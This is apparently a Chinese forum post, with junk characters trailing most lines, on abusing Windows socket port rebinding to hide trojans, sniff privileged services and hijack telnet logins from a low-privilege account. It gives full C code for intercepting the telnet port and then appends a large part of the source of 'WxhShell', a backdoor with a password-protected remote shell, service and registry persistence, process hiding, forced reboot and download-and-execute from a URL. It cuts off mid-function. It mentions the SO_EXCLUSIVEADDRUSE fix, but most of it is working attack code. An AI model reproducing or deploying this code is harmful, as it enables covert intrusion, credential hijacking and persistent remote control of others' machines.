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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: fy$1YI>!Q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =V5%+/r+f  
8Y?;x}  
  saddr.sin_family = AF_INET; s^SJY{  
B<-Wea  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7z-[f'EIUI  
:EyD+!LJ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %)n=x ne  
adw2x pj  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Zc2PepIg  
\v/[6&|X0s  
  这意味着什么?意味着可以进行如下的攻击: ] R*A  
j.YA 2mr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0$njMnB2l  
G&dKY h\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hOeRd#AQK  
1eKT^bgM  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 D,6:EV"sa  
/O9EQPm(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &wX]_:?  
Ep}s}Stlr}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cNH7C"@GVu  
ZB{EmB0W  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 y)*RV;^  
YS ][n_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7 d vnupLh  
Q.[0ct  
  #include (#'>(t(4  
  #include 9B4&m|g  
  #include qb4z T  
  #include    2?x4vI np;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Xeaj xcop#  
  int main() T;uX4,|(  
  { {8aTV}Ha2  
  WORD wVersionRequested; n|;Im&,  
  DWORD ret; CWlw0 X  
  WSADATA wsaData; D]}G.v1  
  BOOL val; g5yJfRLxp  
  SOCKADDR_IN saddr; "oD[v  
  SOCKADDR_IN scaddr; $^ P0F9~0  
  int err; #`IN`m|  
  SOCKET s; =Uh$&m  
  SOCKET sc; g 'gdgfvn  
  int caddsize; PM+[,H  
  HANDLE mt; >/|*DI-HJ  
  DWORD tid;   Dj+f]~  
  wVersionRequested = MAKEWORD( 2, 2 ); OCUr{Nh  
  err = WSAStartup( wVersionRequested, &wsaData ); vbNBLCwug  
  if ( err != 0 ) { r,udO,Yi=c  
  printf("error!WSAStartup failed!\n"); 9my^ Y9B  
  return -1; ! z**y}<T  
  } q@qsp&0/  
  saddr.sin_family = AF_INET; Zh,71Umz  
   _^;Z~/.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;I*o@x_  
G#CXs:1pd+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~`/V(r;o  
  saddr.sin_port = htons(23); J1vR5wbu  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u"8yK5!  
  { O}P`P'Y|'  
  printf("error!socket failed!\n"); /,dz@   
  return -1; U17d>]ka  
  } 74u&%Rj  
  val = TRUE; R=dC4;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 GmG 5[?)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Nl/dX-I  
  { phK/   
  printf("error!setsockopt failed!\n"); ZoeD:xnh[  
  return -1; nNm`Hfi  
  } :Al!1BJQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N;d] 14|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 OVJ0}5P*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 v^iAD2X/F  
.6> w'F{>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) GVz6-T~\>  
  { B[}6-2<>?C  
  ret=GetLastError(); 7P T{lT  
  printf("error!bind failed!\n"); @L`jk+Y0vF  
  return -1; ,I9bNO,%JK  
  } 0a7Ppntb@  
  listen(s,2); 0%B/,/PxD  
  while(1) FsPw1A$y  
  { KXrjqqXs  
  caddsize = sizeof(scaddr); D=$)n_F  
  //接受连接请求 1cDF!X]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); H+#FSdy#  
  if(sc!=INVALID_SOCKET) NRuNKl.v  
  { /}$+uBgJm  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~~.}ah/_d  
  if(mt==NULL) ]iWRo'  
  { FwK] $4*  
  printf("Thread Creat Failed!\n"); Om<a<q  
  break; 0_/[k*Re  
  } > !JS:5|  
  } N mG#   
  CloseHandle(mt); _g8yDfcLG  
  } +t.b` U`-  
  closesocket(s); AX INThJ  
  WSACleanup(); 6Zo}(^Ovz  
  return 0; +_!QSU,@  
  }   W)/#0*7  
  DWORD WINAPI ClientThread(LPVOID lpParam) TpaInXR  
  { Y2TtY;  
  SOCKET ss = (SOCKET)lpParam; {:s f7  
  SOCKET sc; #mT"gs  
  unsigned char buf[4096]; Ef\ -VKh  
  SOCKADDR_IN saddr;  z} <^jgJ  
  long num; / FII07V  
  DWORD val; +q4O D$}  
  DWORD ret; SM '|+ d  
  //如果是隐藏端口应用的话,可以在此处加一些判断 wkq 66?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]5O~+Nf  
  saddr.sin_family = AF_INET; hgmCRC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @~e5<:|5#  
  saddr.sin_port = htons(23); .`lCWeHN  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s iaG'%@*r  
  { #WuBL_nZ~  
  printf("error!socket failed!\n"); 1\Xw3prH  
  return -1; wJ]d&::@h  
  } Dv"9qk  
  val = 100; :/#rZPPF  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q8NX)R  
  { LLo;\WGZ  
  ret = GetLastError(); }EPY^VIw  
  return -1; r$1Qf}J3=  
  } .H|-_~Yx|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9Na$W:P c  
  { hM{bavd  
  ret = GetLastError(); 2T35{Q!=F  
  return -1; 2iOV/=+  
  } |=w@H]r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -@s#uA h  
  { @- xjfC\d  
  printf("error!socket connect failed!\n"); /(cPfZZ  
  closesocket(sc); QY/w  
  closesocket(ss); WY/}1X9.%  
  return -1; L#J1b!D&<6  
  } +nL[MSw  
  while(1) vt8By@]:  
  { Tx D#9]Q`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~a:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 khe}*y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \85i+q:LuA  
  num = recv(ss,buf,4096,0);  )2.Si#  
  if(num>0) V&5wRz+`W  
  send(sc,buf,num,0); fex@,I&  
  else if(num==0) \e;iT\=.(  
  break; Upe%rC(  
  num = recv(sc,buf,4096,0); b;n[mk  
  if(num>0) a9gLg &  
  send(ss,buf,num,0); %v|B *  
  else if(num==0) RP"kC4~1  
  break; ;+%rw2Z,B  
  } icgfB-1|i  
  closesocket(ss); Cy e.gsCT  
  closesocket(sc); U6K|fY N`  
  return 0 ; 1#x0q:6  
  } XSRsGTCC=  
q m}@!z^  
{ FkF  
========================================================== kmW4:EA%  
)GpK@R]{  
下边附上一个代码,,WXhSHELL -f .,tM=  
jp,4h4C^)  
========================================================== wMn i  
1?}T=)3+$  
#include "stdafx.h" (=0.inZ  
8tL~FiHb"  
#include <stdio.h> e+WNk 2  
#include <string.h> l#o ~W`  
#include <windows.h> >Tgv11[  
#include <winsock2.h> a(nlTMfu  
#include <winsvc.h> -RwE%  cr  
#include <urlmon.h> zCZf%ATq  
%J(:ADu]  
#pragma comment (lib, "Ws2_32.lib") e6*8K@LHB  
#pragma comment (lib, "urlmon.lib") G{}VPcrbC  
CJY$G}rk  
#define MAX_USER   100 // 最大客户端连接数 V gWRW7Se  
#define BUF_SOCK   200 // sock buffer 1}x%%RD_  
#define KEY_BUFF   255 // 输入 buffer !L(^(;$Kgr  
';CNGv -  
#define REBOOT     0   // 重启 QRUz`|U  
#define SHUTDOWN   1   // 关机 x5Bk/e'  
K- v#.e4  
#define DEF_PORT   5000 // 监听端口 6P3*Z  
4?kcv59  
#define REG_LEN     16   // 注册表键长度 @d'j zs  
#define SVC_LEN     80   // NT服务名长度 /uc>@!F  
dO'(2J8  
// 从dll定义API A.SvA Yn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6K^#?Bn;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Nn6%9PX_)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Oketwa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N2G{<>=  
sJZ iI}Xc  
// wxhshell配置信息 {}9a6.V;}  
struct WSCFG { &C}*w2]0S  
  int ws_port;         // 监听端口 4#D,?eA7  
  char ws_passstr[REG_LEN]; // 口令 [Xkx_B  
  int ws_autoins;       // 安装标记, 1=yes 0=no 81F9uM0  
  char ws_regname[REG_LEN]; // 注册表键名 =;L|gtH"  
  char ws_svcname[REG_LEN]; // 服务名 $xsd~L &  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wYea\^co  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c<~H(k'+c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U{mYTN*:j$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UMi~14& ;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +{]j]OP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P55fL-vo|}  
UKGPtKE<  
}; ctQ/wrkU  
CpN>p.kM  
// default Wxhshell configuration P}iE+Z 3  
struct WSCFG wscfg={DEF_PORT, JF]JOI6.e  
    "xuhuanlingzhe", 6]N.%Y[(  
    1, 42{~Lhxt  
    "Wxhshell", Z+SRXKQ  
    "Wxhshell", :RYTL'hes  
            "WxhShell Service", 4H/OBR  
    "Wrsky Windows CmdShell Service", )b)zm2;  
    "Please Input Your Password: ", \8tsDG(1 '  
  1, >_} I.\ X  
  "http://www.wrsky.com/wxhshell.exe", ZCw]m#lS  
  "Wxhshell.exe" okXl8&mi  
    }; \vNU,WO  
K3C<{#r  
// 消息定义模块 x-c"%Z|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jIyQ]:*p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `oJ [u:b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; reVgqYp{{-  
char *msg_ws_ext="\n\rExit."; ~[: 2I  
char *msg_ws_end="\n\rQuit."; +\'t E~V  
char *msg_ws_boot="\n\rReboot..."; BUFv|z+H  
char *msg_ws_poff="\n\rShutdown..."; %y@AA>x!  
char *msg_ws_down="\n\rSave to "; :&Nbw  
Rcv9mj]l  
char *msg_ws_err="\n\rErr!"; E7hhew  
char *msg_ws_ok="\n\rOK!"; 6@o*xK7L  
J4utIGF  
char ExeFile[MAX_PATH]; 0x7'^Z>-oe  
int nUser = 0; N!32 wJ  
HANDLE handles[MAX_USER]; !k%#R4*>  
int OsIsNt; )"LJ hLg  
K,]=6 Rj  
SERVICE_STATUS       serviceStatus; PFR:>^wK2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .hiSw  
b -y  
// 函数声明 o  K@"f9  
int Install(void); l0] EX>"E  
int Uninstall(void); Si,6o!0k  
int DownloadFile(char *sURL, SOCKET wsh); Mtv?:q  
int Boot(int flag);  OSJ$d  
void HideProc(void); \ jA~9  
int GetOsVer(void); >7r!~+B"9'  
int Wxhshell(SOCKET wsl); /(T?j!nPE  
void TalkWithClient(void *cs); Q&&@v4L   
int CmdShell(SOCKET sock); *VeRVaBl  
int StartFromService(void); g>sSS8R O  
int StartWxhshell(LPSTR lpCmdLine); ^.G$Q#y,  
5IN(|B0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ddo#P%sH'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2tLJU  Z1  
& ~!Wym  
// 数据结构和表定义 aT<q=DO  
SERVICE_TABLE_ENTRY DispatchTable[] = "j-CZ\]U|  
{ C?Ucu]cW  
{wscfg.ws_svcname, NTServiceMain}, yN c2@  
{NULL, NULL} -hV*EPQ/  
}; G j1_!.T  
$"&JWT!#  
// 自我安装 Tr|JYLwF  
int Install(void) : jx4{V  
{ +3`alHUK  
  char svExeFile[MAX_PATH]; m4& /s  
  HKEY key; +{>=^9%X  
  strcpy(svExeFile,ExeFile); I|J/F}@p  
Bf:Q2slqI  
// 如果是win9x系统,修改注册表设为自启动 &?vgP!d&M  
if(!OsIsNt) { P_dJZ((X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TKjFp%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yBRC*0+Vy  
  RegCloseKey(key); 8D].MI^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h1{3njdr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bx Wa oWE0  
  RegCloseKey(key); KU;9}!#  
  return 0; or]IZ2^n  
    } 0g\(+Qg^  
  } Gy)@Is9  
} mqJ_W[y7  
else { b[7 ]F  
MPk5^ua:  
// 如果是NT以上系统,安装为系统服务 rGkyGz8>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X?$_Sd"G+5  
if (schSCManager!=0) x`?3C"N:<  
{ ETLD$=iS  
  SC_HANDLE schService = CreateService `lPfb[b  
  ( fzA9'i`  
  schSCManager, "\=U)CJ  
  wscfg.ws_svcname, =2 kG%9  
  wscfg.ws_svcdisp, rbpSg7}Q  
  SERVICE_ALL_ACCESS, _2nx^E(pd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $A` VYJtt#  
  SERVICE_AUTO_START, g*"P:n71  
  SERVICE_ERROR_NORMAL, +MLVbK  
  svExeFile, Lp7SLkwh3M  
  NULL, $kKjgQ S(  
  NULL, d/Q%IeEL.  
  NULL, XrPfotj1  
  NULL, gdoLyxQ  
  NULL ]tDDq=+v  
  ); _y3Xb`0a  
  if (schService!=0) 7yba04D)  
  { 9mFE?J  
  CloseServiceHandle(schService); B]$GSEB  
  CloseServiceHandle(schSCManager); h@h!,;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W];dD$Oqg  
  strcat(svExeFile,wscfg.ws_svcname); 39|MX21k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { eIo7F m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F/A|(AH'  
  RegCloseKey(key); H4JTGt1"  
  return 0; S+2(f> Z  
    } J'2X&2  
  } OC:T O|S:4  
  CloseServiceHandle(schSCManager); eN~=*Mn(za  
} lPJ\-/>$z  
} $j?1g#  
5BJmA2L  
return 1;  {>%&(  
} xRsWI!d+|  
W,-g=6,  
// 自我卸载 $2el&I  
int Uninstall(void) f4Rf?w*  
{ ^Q^_?~h*!  
  HKEY key; gGS=cdlV  
hiw|2Y&`  
if(!OsIsNt) { V#}kwON  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &yol_%C  
  RegDeleteValue(key,wscfg.ws_regname);  ^Va1f'g  
  RegCloseKey(key); Q1l' 7N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c7E11 \%&Z  
  RegDeleteValue(key,wscfg.ws_regname); HX{`Vah E  
  RegCloseKey(key); ;]jNk'oa  
  return 0; \_6/vZ%-B  
  }  =4!e&o  
} @oad,=R&  
} 0,8okA H  
else { o7LuKRl   
.k \@zQ|Ta  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mo#04;VF  
if (schSCManager!=0) FjI`uP  
{ wIBO ^w\J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g SAt@2*U2  
  if (schService!=0) 7 ^mL_SMj  
  { y Ej^=pw  
  if(DeleteService(schService)!=0) { 9pxc~=  
  CloseServiceHandle(schService); aCLqk'  
  CloseServiceHandle(schSCManager); f8.gT49I  
  return 0; f:.I0 ST  
  } q\527^ZM  
  CloseServiceHandle(schService); Q'mM3pq4r  
  } om-omo&,X=  
  CloseServiceHandle(schSCManager); we?76t:-  
} {3{"8-18  
} a"g!e^  
|WdPE@P  
return 1; ^_5r<{7/ :  
} B[?CbU  
Z@@K[$  
// 从指定url下载文件 Y.ToIka{  
int DownloadFile(char *sURL, SOCKET wsh) }sO&. ME  
{ Y<ql49-X  
  HRESULT hr; Jl9k``r*  
char seps[]= "/"; ([LSsZ]sj  
char *token; %lGfAYEM=  
char *file; 2q4<t:!  
char myURL[MAX_PATH]; xZF}D/S?Ov  
char myFILE[MAX_PATH]; P0PWJ^+,+  
@)&=%  
strcpy(myURL,sURL); "?I y(*^  
  token=strtok(myURL,seps); l9u!aD  
  while(token!=NULL) 5K?IDt7A]  
  { 'B0{_RaTb  
    file=token; zb<6 Ov  
  token=strtok(NULL,seps); Jh[UtYb5  
  } 9dUravC7  
Nf"r4%M<6  
GetCurrentDirectory(MAX_PATH,myFILE); zEyN)  
strcat(myFILE, "\\"); VsE9H]v   
strcat(myFILE, file); =k0_eX0  
  send(wsh,myFILE,strlen(myFILE),0); 25[I=ZdS  
send(wsh,"...",3,0); P8)=Kbd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aL&7 1^R,  
  if(hr==S_OK) u'W8;G*~  
return 0; Hi1JLW,  
else Z%/=|[9i  
return 1; +sUFv)!4  
D"?fn<2  
} V<uR>TD(  
 Qq;Foa  
// 系统电源模块 *P2S6z2  
int Boot(int flag) {|:;]T"y  
{ ^R Fp8w(  
  HANDLE hToken; (/j/>9iro  
  TOKEN_PRIVILEGES tkp; c+$*$|t=v`  
Ix=}+K/  
  if(OsIsNt) { UsQ+`\|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }h!f eP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E:}r5S) 4  
    tkp.PrivilegeCount = 1; ft KTnK.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dCk3;XU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g8xQ|px  
if(flag==REBOOT) { gSUcx9f]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i?g5_HI  
  return 0; fNt`?pW H  
} E!l!OtFL  
else { S(8$S])0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \$e)*9)  
  return 0; 72y0/FJ  
} Z}l3l`h!  
  } p@5`& Em,  
  else { tlqiXh<  
if(flag==REBOOT) { 8b-Q F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r )~ T@'y  
  return 0; u\{ g(li-I  
} FUjl8b-|  
else { ZUR6n>r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q[pV!CH  
  return 0; @EpIh&  
} bMMh|F  
} LBsluT  
pd7NF-KD  
return 1; PCM-i{6/  
} t&CJ% XP  
D+z?wuXk  
// win9x进程隐藏模块 FCuB\ Q  
void HideProc(void) r{ef.^&:  
{ Hp|_6hO 2  
#+5pgD2C  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J}+6UlD  
  if ( hKernel != NULL ) T}P".kpbS  
  { H_ox_ u}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q=T&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,Bo>E:u  
    FreeLibrary(hKernel); ^[XYFQTL  
  } {v2|g  
xJZ>uTN  
return; <U >>ZSi  
} 9 ;Ox;;w  
5HO9 +i  
// 获取操作系统版本 I*kK 82  
int GetOsVer(void) K7W6ZH9;  
{ "7V2lu  
  OSVERSIONINFO winfo; Jesjtcy<*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yi%-7[*]=  
  GetVersionEx(&winfo); S9`flo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *nsAgGKKM^  
  return 1; EC8b=B<DE  
  else /_Z652@  
  return 0; j;3[KLmuK%  
} +g]yA3  
`poE6\  
// 客户端句柄模块 5~WGZc  
int Wxhshell(SOCKET wsl) !0C^TCuG  
{ a5!Fv54  
  SOCKET wsh; i21Gw41p:  
  struct sockaddr_in client; z` FCs,?K  
  DWORD myID; 16i "Yg!*  
Adgc% .#  
  while(nUser<MAX_USER) A\#P*+k0  
{ Y> Wu  
  int nSize=sizeof(client); Zg`Mz _?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /E5 5Pec  
  if(wsh==INVALID_SOCKET) return 1; ~Oq +IA~9  
i'wAE:Xe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [[Y0  
if(handles[nUser]==0) mL`5u f  
  closesocket(wsh); OdY=z!Fls  
else O Wj@< N  
  nUser++; 1=a>f "cyf  
  } z2hc.29t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F]t (%{#W  
BC;:  
  return 0; *"r~-&IL  
} 3lq Mucr  
a~!G%})'a  
// 关闭 socket %8M)2 ?E  
void CloseIt(SOCKET wsh) U Gpu\TB  
{ ;h" P{fF   
closesocket(wsh); U*P. :BvG  
nUser--; A4?+T+#d  
ExitThread(0); U}l14  
} [j:[  
U(;&(W"M  
// 客户端请求句柄 LtKI3ou  
void TalkWithClient(void *cs) d@G}~&.|  
{ t"YNgC ^  
{E0z@D)U-  
  SOCKET wsh=(SOCKET)cs; <ExZ:ip  
  char pwd[SVC_LEN]; 2kUxD8BcN  
  char cmd[KEY_BUFF]; uH;-z_Wpn!  
char chr[1]; d'Axum@  
int i,j; wgRs Z  
k') E/n  
  while (nUser < MAX_USER) { A?T<",bO  
z|(+|pV(  
if(wscfg.ws_passstr) { 5+jf/}t A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .+([  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?[MsQQd~  
  //ZeroMemory(pwd,KEY_BUFF); k%op> &  
      i=0; Vax^8 -  
  while(i<SVC_LEN) { )CS.F=  
:aIN9;  
  // 设置超时 W Qc>  
  fd_set FdRead; oq_6L\ ~  
  struct timeval TimeOut; 6Ik,zQL  
  FD_ZERO(&FdRead); UP{j5gR:_  
  FD_SET(wsh,&FdRead); Lh-`OmO0>F  
  TimeOut.tv_sec=8; =_8Tp~j  
  TimeOut.tv_usec=0; >u(>aV|A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q9`QL3LQD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z>[tF5  
lRP1&FH0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f0LP?]  
  pwd=chr[0]; Q\3 Z|%  
  if(chr[0]==0xd || chr[0]==0xa) { ='E$-_  
  pwd=0; CC3v%^81l^  
  break; fXQiNm[P  
  } .M4IGOvOS  
  i++; :b,^J&~/)1  
    } ? QDWuPhN  
)2E%b+"  
  // 如果是非法用户,关闭 socket T/P7F\R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t=#Pya  
} e|r0zw S  
'~wpP=<yyF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Sb:T*N0gS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s Fgadz6O  
qYp$fmj  
while(1) { =qvZpB7ZZ  
`4CWE_k  
  ZeroMemory(cmd,KEY_BUFF); W:QwHZ2O  
; W7Y2Md  
      // 自动支持客户端 telnet标准   ~mN% (w!^  
  j=0; sst,dA V$  
  while(j<KEY_BUFF) { m^{ xd2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C6& ( c  
  cmd[j]=chr[0]; G7* h{nE  
  if(chr[0]==0xa || chr[0]==0xd) { I 2HT2c$  
  cmd[j]=0; -&[z\"T  
  break; c~dM`2J,  
  } 9''p[V.3  
  j++; w9#R'  
    } 5`E))?*"Pe  
}1%r%TikY  
  // 下载文件 s([Wn)I  
  if(strstr(cmd,"http://")) { px9>:t[P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %>XN%t'6aT  
  if(DownloadFile(cmd,wsh)) f8:$G.}i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p#_[  
  else mPVE?jnR^0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8 HoP( +?  
  } DPJh5d  
  else { '0+$ m=   
En9R>A;`  
    switch(cmd[0]) { +CTmcbyOi  
  +|C[-W7Sw  
  // 帮助 "~p+0Xws9  
  case '?': { @%@zH%b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mPmB6q%)]  
    break; "j Zm0U$,*  
  } SQKt}kDbM  
  // 安装 YlUpASW  
  case 'i': { ?TuI:dC  
    if(Install()) 9)yG.9d1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ]R Mb,hJ  
    else If}lJ6jZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2;N@aZX  
    break; |@`"F5@,  
    } }~*rx7p  
  // 卸载 bc}dYK3$q  
  case 'r': { pVOI5>f\  
    if(Uninstall()) kQ}s/*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z! YpklZ?~  
    else org*z!;.   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AA7#c7  
    break; La}o(7 =s  
    } 98<zCSe\]  
  // 显示 wxhshell 所在路径 >}F?<JB  
  case 'p': { HtzMDGV<  
    char svExeFile[MAX_PATH]; uiK:*[  
    strcpy(svExeFile,"\n\r"); ;? 8Iys#  
      strcat(svExeFile,ExeFile); =QiT)9q)  
        send(wsh,svExeFile,strlen(svExeFile),0); mG}k 3e-  
    break; *o|p)lH  
    } ~_}4jnC  
  // 重启 tQ0=p| T]  
  case 'b': { WLy7'3@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l%bq2,-%  
    if(Boot(REBOOT)) Y\u_+CG*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \DyKtrnm%  
    else { 3"B+xbe=  
    closesocket(wsh); HWR& C  
    ExitThread(0); t~~r-V":  
    } u<q)SQ1  
    break; {Pvr??"r  
    } c'lIWuL)  
